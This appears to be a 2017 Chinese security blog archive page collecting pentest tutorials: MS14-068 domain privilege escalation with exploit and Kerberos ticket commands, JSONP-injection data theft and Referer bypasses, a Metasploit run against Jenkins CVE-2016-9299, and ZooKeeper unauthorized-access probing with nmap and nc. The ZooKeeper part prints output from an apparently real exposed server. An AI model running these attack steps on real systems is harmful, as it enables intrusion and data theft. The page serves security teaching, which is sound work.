2017年1月 - 勾陈安全实验室

2017年1月

MS14-068域权限提升漏洞总结

0x01 漏洞起源

说到ms14-068,不得不说silver ticket,也就是银票。银票是一张tgs,也就是一张服务票据。服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。所以ms14-068的来源和银票是息息相关的。

在mimikatz作者的ppt里面是这样描述的:

ms1.png

所以说这真的是一个大漏洞,允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。在server 2000以上的域控中,只要没有打这个补丁,那么情况将是非常糟糕的。

https://technet.microsoft.com/library/security/ms14-068.aspx

0x02 漏洞利用

2.1 windows环境下测试

在windows环境下,mimikatz的作者已经写出了一个exploit。

https://github.com/gentilkiwi/kekeo

其中的ms14-068.exe正是此漏洞的利用工具。要测试这个漏洞,前提还是要明白kerberos的整个认证协议过程,不然是不会明白原理的,测试过程中出了什么问题也不知道怎么解决。我们作为渗透测试人员,如果说对windows环境中这么重要的一个认证协议都不了解,我想内网渗透也是浮云吧。

利用这个漏洞,我们需要一个普通域用户的账户名和密码或者是哈希,哈希传递我已经在别的文章中总结了,其实哈希和密码是有相同的效果。以及域名称,该用户的sids。这些都不是重点,重点是如何获得一个域用户的账户,我们在域内的某台机器上面抓取hash或者的明文密码,或者是其他方法等等。

2.1.2 windows下利用过程

测试环境:

  • 域:xxx.com
  • Dc:dc.xxx.com
  • Win7:win7-01.xxx.com

首先我们在dc上面检测是否有这个漏洞:

ms2.png

很遗憾,没有打这个补丁。

下面我们在win7上面测试该漏洞。Win7是一台普通的域内机器,普通域用户jack登陆。

测试访问域控的c盘共享:

ms3.png

访问被拒绝。

为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法是使用mimikatz:

#kerberos::purge

ms4.png

使用ms14-068来产生一张高权限的berberos服务票据,并注入到内存中:

ms14068.exe /domain:xxx.com /user:jack /password:jackpwd/ /ptt

ms5.png

再测试访问:

ms6.png

测试psexec无密码登陆

ms7.png

很棒,达到了我们想要的效果。

如果想生成一张kerberos票据,做票据传递攻击(ptt),可以这样:

ms14068.exe /domain:xxxcom /sid:S-1-5-21-2666969376-4225180350-4077551764 /user:jack /rid:1104 /password:jackpwd/ /aes256 /kdc:dc.xxx.com /ticket:jack_admin.kirbi

再配合mimikatz的ptt功能,将票据导入到内存中。

2.2 kali环境下测试

如果是远程内网环境,首先要做内网代理,这个就不用多说。然后将自己的dns指向域控制器。

Linux下面测试的工具也有很多,当然msf这个漏洞利用框架肯定是少不了这个模块。关于msf的利用过程我这里就不再多讲,给出国外的一篇利用过程:

https://community.rapid7.com/community/metasploit/blog/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit

2.2.1 goldenPac.py

Kali下面利用此漏洞的工具我是强烈推荐impacket工具包里面的goldenPac.py,这个工具是结合ms14-068加psexec的产物,利用起来十分顺手。

Kali下面默认还没有安装kerberos的认证功能,所以我们首先要安装一个kerberos客户端:

apt-get install  krb5-user

最简单的办法:

goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com就可以得到一个cmd shell:

ms8.png

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。

2.2.1 ms14-068.py

https://github.com/bidord/pykek

效果和mimikatz作者写的exploit差不多,这个脚本是产生一张kerberos的票据缓存,这个缓存主要是针对linux上面的kerberos认证的,但是mimikatz也有传递票据缓存的功能(ptc),实际上和mimikatz产生的kirbi格式的票据只是格式不同而已。

当然没有kerberos客户端也不行,如果没有安装记得先安装:

apt-get install  krb5-user

这个利用过程需要sid和用户名密码(哈希也可以)。

利用方法:

ms14-068.py -u jack@xxx.com -s jacksid -d dc.xxx.com

ms9.png

这样生成了一张kerberos认证的票据缓存,要让这个票据在我们认证的时候生效,我们要将这张缓存复制到/tmp/krb5cc_0

注意在kali下默认的root用户,使用的kerberos认证票据缓存默认是/tmp/krb5cc_0,所以我们只要将我们生成的票据缓存复制到/tmp/krb5cc_0即可:

ms10.png

Klist可以列举出当前的kerberos认证票据,jack这张票据已经成功导入。

下面我们使用psexec.py来测试一下使用这张缓存的票据来得到一个域控的shell:

ms11.png

可以说也是很简单。

0x03 小结

Ms14-068这个漏洞可谓是威力无穷,在域渗透中,我们第一步就是应该检测域控是否有这个漏洞,一旦域控没有打上这个补丁,将会使我们的内网渗透工作变得十分简单。

参考连接:

JSONP注入实战

原文:https://securitycafe.ro/2017/01/18/practical-jsonp-injection/

JSONP注入是一个鲜为人知的但是非常广泛和危险的漏洞。它在近几年才出现,由于JSON,web API和跨域通信的急需。

什么是JSONP

假设每个人都知道JSON是什么,让我们谈谈一下JSONP。 JSONP来自带有填充的JSON,被创建来绕过常见的限制,例如同源策略。

举个例子。 我们的网上银行应用程序,http://verysecurebank.ro,实现了一个返回当前用户的交易的API调用。

访问http://verysecurebank.ro/getAccountTransactions的HTTP请求向我们提供了当前用户的交易内容,JSON格式:

json-transactions.png

如果我们的报告应用程序,想访问http://reports.verysecurebank.ro获得交易详细信息,由于同源原则生效(不同的主机),将无法通过AJAX调用该页面。

sop-json.png

为了解决这个问题,JSONP发挥了作用。 由于跨域脚本包含(主要用于外部加载JavaScript库,如jQuery,AngularJS等)是允许但不推荐的,一个聪明的技巧显然解决了整个问题:在响应前加上回调。

注意:即使它可能是显而易见的,值得提及的是,当包括脚本跨域时,它将在包含应用程序的上下文中运行,而不是在源的上下文中运行。

添加一个回调到API响应,包裹JSON格式的数据,允许我们加载脚本标签之间的API响应,并通过定义我们自己的回调函数来处理它的内容。

怎么使用JSONP

这是你最容易遇到的情况:

1.回调函数在响应中硬编码
1)基本函数调用
2)对象方法调用
2.回调函数是动态的
1)完全可控的URL(GET变量)
2)部分可控的URL(GET变量),但附加一个数字
3)可控的URL(GET变量),但最初不显示在请求中

基本函数调用

一个非常常见的示例,其中myCallback回调在响应中硬编码,包裹在JSON格式的数据上:

callback-example.png

我们可以通过首先定义myCallback函数,然后在脚本标签中引用API调用来轻松使用它:

callback-example-code.png

注意:确保在包含响应之前定义函数,否则将调用未定义的函数,并且不会获取任何数据。

当登录的受害者访问我们的恶意页面时,我们抓取他的数据。 为了简洁起见,我们在当前页面中显示整齐格式化了的数据。

callback-example-result.png

对象方法调用

这几乎与第一个示例相同,你可能会在ASP或ASP.NET Web应用程序中遇到它。 在我们的示例中,System.TransactionData.Fetch作为回调围绕JSON格式的数据被添加:

multiple-callback-example.png

我们只是为已经是System对象一部分的TransactionData对象创建Fetch方法。

multiple-callback-code.png

结果是相同的,所以没有截图。

完全可控的URL(GET变量)

这是你会遇到的最常见的情况。 回调函数在URL中指定,我们可以完全控制它。 回调URL参数允许我们更改回调的名称,因此我们将设置它来测试,并在响应中看它的改变:

specified-callback-example.png

我们基本上可以使用相同的代码,但是不要忘记在包含带有脚本标签的响应时添加回调参数。

specified-callback-code.png

部分可控的URL(GET变量),但附加一个数字

在这种情况下,回调函数名称附加了一些东西,通常是一个数字。 在大多数情况下,我们得到的东西像jQuery和一个附加到它的短号,像12345,回调成为jQuery12345。

appended-callback-example.png

逻辑上,代码保持不变,我们只需要将12345添加到我们的回调函数名称,而不是包含脚本时。

appended-callback-code.png

但如果数字不是硬编码怎么办? 如果是动态的、每个会话都不同怎么办? 如果它是一个相对较短的数字,我们可以用过编程预定义每个可能性的函数。 让我们假设附加的数字高达99999。 我们可以以编程方式创建所有这些函数,所以附加的数字,我们已经有一个回调函数。 这里是示例代码,我使用一个更简单的回调来说明结果:

appended-callback-code-generate.png

这里发生了什么:我们有硬编码的回调名称jQuery,我们为函数的数量设置了一个限制。 在第一个循环中,我们在callbackNames数组中生成回调函数名。 然后我们循环遍历数组,并将每个回调名称转换为全局函数。 请注意,为了缩短代码,我只提醒第一笔交易中发送的金额。 让我们看看它是如何工作的:

appended-callback-alert.png

在我的机器上,花了大约5秒钟显示警报,回调名称为jQuery12345。 这意味着Chrome在5秒内创建了超过10.000个功能,所以我大胆地说,这是一个很可行的方法。

可控的URL(GET变量),但最初不显示在请求中

最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果我们有以下API调用http://verysecurebank.ro/getAccountTransactions,我们可能会尝试猜测回调变量:

这些只是最常见的回调名称,请随意猜测更多。 如果我们的回调被添加到响应,bingo,让我们道德地抓取一些数据。

基本数据抓取

因为我们直到现在才显示数据,让我们看看如何把它发送给我们。 这是JSONP数据抓取的一个小示例,可以将其用作概念验证。

steal-code.png

我们发送应用响应(比如用户的交易内容)在data参数中的get请求给我们的数据抓取器。

注意:确保对数据使用了JSON.stringify(),因为它是一个对象,我们不希望在我们的文件中只有[object Object]。

注意:如果响应很大,请确保切换到POST,因为HTTP GET的大小限制,可能无法接收完整的数据。

这里是我们的grabData.php代码,我们将接收到的数据追加到data.txt文件中:

steal-php.png

常见问题

在寻找JSONP漏洞的Web应用程序时,我们可能会遇到一些问题。 这里我们尝试解决他们。

Content-Type和X-Content-Type-Options

如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascripttext/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

如果您想知道浏览器解释为JavaScript的内容类型,请访问https://mathiasbynens.be/demo/javascript-mime-type

在此示例中,Content-Type设置为application/jsonX-Content-Type-Options设置为nosniff

content-type-error.png

最新版本的Google Chrome,Microsoft Edge和Internet Explorer 11成功阻止了脚本执行。 但是,Firefox 50.1.0(目前是最新版本)没有。

注意:如果X-Content-Type-Options:nosniff头未设置,它将适用于所有上述浏览器。

注意:旧版本的浏览器没有考虑严格的MIME类型检查,因为最近实现了X-Content-Type-Options。 根据Mozilla,这是由于浏览器的兼容性:

browser-compatibility.png

响应码

有时我们可能会得到一些其他响应代码,而不是200,特别是当我们搞乱了响应。 我在这些浏览器上进行了几个测试:

  • Microsoft Edge 38.14393.0.0
  • Internet Explorer 11.0.38
  • Google Chrome 55.0.2883.87
  • Mozilla Firefox 50.1.0

发现了这些不一致:

Response Code        Works in
100 Continue        Internet Explorer, Microsoft Edge, Google Chrome
101 Switching Protocols        Google Chrome
301 Moved Permanently        Google Chrome
302 Found        Google Chrome
304 Not Modified        Microsoft Edge

因此,即使我们没有获得200 HTTP代码,该漏洞仍然可以在其他浏览器中使用。

绕过referer检查

1.使用data URI scheme

如果有HTTP Referer检查,我们可以尝试不发送它来绕过验证。 我们怎么能做到这一点?通过data URI。

我们可以利用data URI scheme,以便在没有HTTP Referer的情况下发出请求。 因为我们处理的代码,包括引号,双引号和其他语法破坏字符,我们将对base64编码我们的payload(回调定义和脚本包含)。

语法:

data:text/plain;base64,our_base64_encoded_code

iframe-src.png

以下是允许我们使用data URI scheme的三个主要HTML标签:

  • iframe(在src属性中) - 它在Internet Explorer中不起作用
  • embed(在src属性中) - 它在Internet Explorer和Microsoft Edge中不起作用
  • object(在data属性) - 它在Internet Explorer和Microsoft Edge中不起作用

我们可以看到,API请求中没有发送HTTP Referer。

referer-browser.png

2.从https到http的请求

如果我们的目标网站可以通过HTTP访问,我们还可以通过在HTTPS页面上托管我们的代码来避免发送HTTP Referer。 如果我们从HTTPS页面发出HTTP请求,则浏览器不发送Referer头以防止信息泄露。

我们所有要做的只是在启用HTTPS的网站上托管我们的恶意代码。

注意:由于混合内容安全机制,这不适用于具有默认设置的现代Web浏览器。 受害者已手动接受浏览器的安全警告。

mixed-content.png

但是,它在旧版本的浏览器中使用,并且不发送HTTP Referer头,我们可以看到:

https-to-http.png

我们如何解决这个问题

最后,让我们看看我们如何防止这种情况的发生。 最直接和最现代的方法是CORS(跨源资源共享)。

1.完全删除JSONP功能
2.将Access-Control-Allow-Origin标头添加到API响应中
3.使用跨域AJAX请求

因此,http://reports.verysecurebank.ro将以下跨域AJAX请求嵌入到http://verysecurebank.ro/getAccountTransactions

ajax-request-code.png

API响应包括Access-Control-Allow-Originhttp://reports.verysecurebank.ro

ajax-request-headers.png

我们得到http://verysecurebank.ro/getAccountTransactions的内容:

ajax-request-content.png

结论

虽然JSONP使用量在减少,但仍然有大量的网站依然在使用它。 作为最后一个提示,当处理JSONP时,也不要忘记检查反射型文件下载和反射型xss。

业务安全冷知识

前言

年前突然想写一篇简单易读的文章,讲一点可能会被忽略的业务安全问题,这些问题都算不上是漏洞,但可以对公司造成一定的影响,所以我这里称他们为冷知识,当中会涉及一些竞品分析的点,部分内容对中小型互联网企业都通用。有问题可与我联系wechat:atiger77

序号

  1. 前端提示内容过多;
  2. 用户ID自增隐患;
  3. 域名到期时间;
  4. 短信接口任意调用;

前端提示内容过多

所谓提示内容过多,一般常见于登录重置密码等页面。以登录页面举例,当输入的用户名和密码不正确时,返回的内容过于详细,常见的有: a.你输入的用户名不存在 b.密码必须大于等于6位 c.你输入的密码不正确 等等内容。

排除逻辑漏洞的问题,当前端返回给攻击者越多的信息,对于攻击者而言也缩短了攻击者的成本,还是拿上面的情况来说,第一种,攻击者根据提示可以测试出用户覆盖率,第二种当登录处没有验证码机制的时候,对攻击者字段选择上能节省大量时间。

  • 造成原因:开发安全意识薄弱
  • 解决方法:去除不需要的回显内容

用户ID自增隐患

国内互联网情况就是看到别人的产品不错马上就拿过来抄,除了少数一些以技术为核心驱动的公司,其他的都可以在短期内搞一个看着一样的产品出来,那么这个安全冷知识在竞品分析中可以获取一定成果。

当公司业务线多起来后,必然要上用户中心集中管理用户,一般的设计逻辑都是单表存一千万的用户并且UID自增,那么这个风险点也会随之而来。

设想一下这个情况,你的公司有一家“孪生兄弟”,你又想知道他们的运营情况,那么可以尝试这样做,今天的8点注册一个号,抓包记录UID,在明天的8点再注册一个号也记录下UID,一直重复在同一时间点注册用户并记录UID,将后一天的UID减去前一天的UID即可得出一天的注册情况,当你产品运营数据被竞品所得到的时候,是不是很可怕呢。

  • 造成原因:UID顺序自增,规律性太容易被发现
  • 解决方法:混淆UID生成规则

域名到期时间

公司域名管理其实是算在运维部下的,为什么这里要说因为一直会看到新闻说某某公司因为域名到期忘记续费,导致域名被抢注的情况。

简单一提,需要定期的查看域名到期情况,对快到期的域名做续费处理,对于公司而言,买域名的钱和买白菜一样。所以,在域名快到期的时候尽快解决把。

  • 造成原因:到期域名未即时续费
  • 解决方法:记录域名到期时间

短信接口任意调用

这个问题也很普遍,短信接口的应用场景很多,用户注册、忘记密码、重置密码等等。之前也看到新闻说一家创业公司短信接口被恶意调用,无缘无故损失了一大笔钱。

往往公司发现这个异常都是通过周的数据统计或者是月的数据统计,那么这个时候已经无法挽回之前的损失了。

那么防范的措施也不复杂,增加验证码机制,设置短信发送上限,接口请求参数GET->POST等等。

  • 造成原因:没有校验过程
  • 解决方法:风控措施

总结

暂时就想到这么多,以后想到我还要继续添加进去,有问题可以和我联系。

Jenkins CLI Ldap Deser CVE-2016-9299

1024px-Jenkins_logo_with_title.svg_meitu_1.jpg

漏洞名称

Unauthenticatedremote code execution vulnerability in Jenkins

影响版本

  • LTSRelease 2.19.3 之前的所有版本
  • WeeklyRelease 2.32 之前的所有版本

修复版本

  • mainline 2.32
  • LTS2.19.3

漏洞危害

远程代码执行

Exploit

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞复现

b2ae6b6e-eec0-11e6-9657-bebfbfb80609.png


    msf > use exploit/linux/misc/jenkins_ldap_deserialize
    msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
    PAYLOAD => cmd/unix/generic
    msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
    CMD => touch /tmp/wtf
    msf exploit(jenkins_ldap_deserialize) > run
    [*] Exploit completed, but no session was created.

c6ac0df6-eec0-11e6-8c9a-ab1cae579c8f.png

成功

e132e262-eec0-11e6-9335-956b69391ba4.png

[~] ls /tmp/wtf
/tmp/wtf

参考

攻击大数据应用:ZooKeeper

0x01 前言

随着大数据时代的到来,越来越多的大数据技术已逐渐被应用于实际生产,但作为一个安全人员,我们关注点必然和安全相关,那大数据环境中面临的安全问题又有哪些呢?Stardustsky牛的《攻击大数据应用(一)》对大数据的一些技术做一个简单的概念介绍并总结了Elasticsearch的四种攻击方式。这里我打算整理成一系列的Paper,本篇我们将着重探索一下ZooKeeper存在的一些安全问题。

0x02 ZooKeeper漏洞

ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。

常见安全隐患:

  • 信息泄露
  • 开放公网访问
  • 未认证访问

一、信息泄露

这个漏洞的漏洞编号为CVE-2014-0085,是14年发现的一个信息泄露漏洞,危害级别比较低。我们看看漏洞描述:

58772fd442513.png

该漏洞源于程序记录明文admin密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。

在zookeeper中zoo.cfg中可以配置dataLogDir来单独放置事务log,可以很好的避免与普通log和内存快照混合。但是Zookeeper中使用了明文来显示密码,这就导致了信息的泄露。

该漏洞的利用场景:

内网渗透中遇到ZooKeeper集群后,可以查找事务日志来获取admin的密码或者其他敏感资源的认证方法。访问logs目录:

5877314c7a25c.png

可以看到认证中客户端使用的账号密码。如果是管理员的密码,就会造成更大的影响。

二、开放公网访问&未授权访问

未授权访问是Zookeeper目前存在的最为严重的一个安全问题,相当多的企业将其直接放置于公网,且未作任何访问限制,导致攻击者可直接访问到很多内部信息。

先来张图压压惊:

58773d2c6bcd7.png

Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令!

我们通过Zoomeye看一下全球对外开放的Zookeeper有多少:

587747ef4772b.png

587747ef7248b.png

结果显示全球大约有3W+主机开放了2181端口,也就说全球大约有3W+的Zookeeper未授权访问漏洞!

利用

发现 Zookeeper

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24  
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

例如某厂商的Zookeeper未授权访问:

远程获取该服务器的环境

echo envi | nc ip port

587749087c56c.jpg

直接连接

telnet或者:

./zkCli.sh -server ip:port

命令运行示例:

dump:列出未完成的会话和临时节点。

$ echo dump |ncat 52.2.164.229 2181
    SessionTracker dump:
    Global Sessions(7):
    0x1053c5850800023   4000ms
    0x1053c5850800024   4000ms
    0x2000b1ecdeb0160   4000ms
    0x2000b1ecdeb0161   4000ms
    0x2000b1ecdeb0162   4000ms
    0x3055d0251540008   4000ms
    0x3055d0251540009   4000ms
    ephemeral nodes dump:
    Sessions with Ephemerals (5):
    0x1053c5850800024:
    /borg/locutus/agents/061e4b6/10.92.1.192:9257
    0x1053c5850800023:
    /borg/locutus/agents/061e4b6/10.92.1.118:9257
    0x3055d0251540008:
    /borg/locutus/agents/061e4b6/10.92.1.120:9257
    0x2000b1ecdeb0162:
    /borg/locutus/agents/061e4b6/10.92.1.87:9257
    0x3055d0251540009:
    /borg/locutus/agents/061e4b6/10.92.1.10:9257
    Connections dump:
    Connections Sets (2)/(7):
    Ncat: An established connection was aborted by the software in your host machine. .

envi:打印有关服务环境的详细信息。

$ echo envi |ncat 52.2.164.229 2181
    Environment:
    zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    host.name=locutus-zk3.ec2.shopify.com
    java.version=1.7.0_79
    java.vendor=Oracle Corporation
    java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
    java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
    java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
    java.Ncat: An established connection was aborted by the software in your host machine.

reqs:列出未完成的请求。

$ echo reqs |ncat 52.2.*.229 2181
close: Result too large

ruok:测试服务器是否运行在非错误状态。

$ echo ruok |ncat 52.2.*.229 2181
imok

stat:列出关于性能和连接的客户端的统计信息。

$ echo stat |ncat 52.2.164.229 2181
    Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
    Clients:
     /10.92.1.120:35986[1](queued=0,recved=2238053,sent=2238053)
     /10.92.1.10:48851[1](queued=0,recved=2235979,sent=2235979)
     /10.92.1.242:54198[1](queued=0,recved=713623,sent=713623)
     /86.136.100.60:11057[0](queued=0,recved=1,sent=0)
     /10.92.1.253:60423[1](queued=0,recved=2204714,sent=2204714)
     /10.92.1.192:47933[1](queued=0,recved=1926008,sent=1926008)
     /10.92.1.118:37256[1](queued=0,recved=129470,sent=129470)
     
    Latency min/avg/max: 0/0/981
    Received: 25813570
    Sent: 25813622
    Connections: 7
    Outstanding: 0
    Zxid: 0xc2000016ad
    Mode: follower
    Node count: 192

kill命令太危险就不测试了。

ZooKeeper的一些基本知识和命令可以参考:《Zookeeper中文文档》

这里贴上一个ZooKeeper未授权访问的检测脚本:

https://raw.githubusercontent.com/ysrc/xunfeng/master/vulscan/vuldb/zookeeper_unauth_access.py

0x03 加固建议

  • 禁止把Zookeeper直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

0x04 总结

本文主要介绍了ZooKeeper的一些安全隐患和攻击方式,但这些漏洞除了非授权访问基本上都已被修复。篇幅有些短,因为大数据安全对很多安全研究者来说还是个比较陌生的领域,网上关于这方面的案例不多,大家对大数据应用的安全重视程度也还比较低,但是对于大数据逐渐泛滥的今天,相信会有更多的从业者投身到该领域的研究中来。欢迎补充:-)

0x05 参考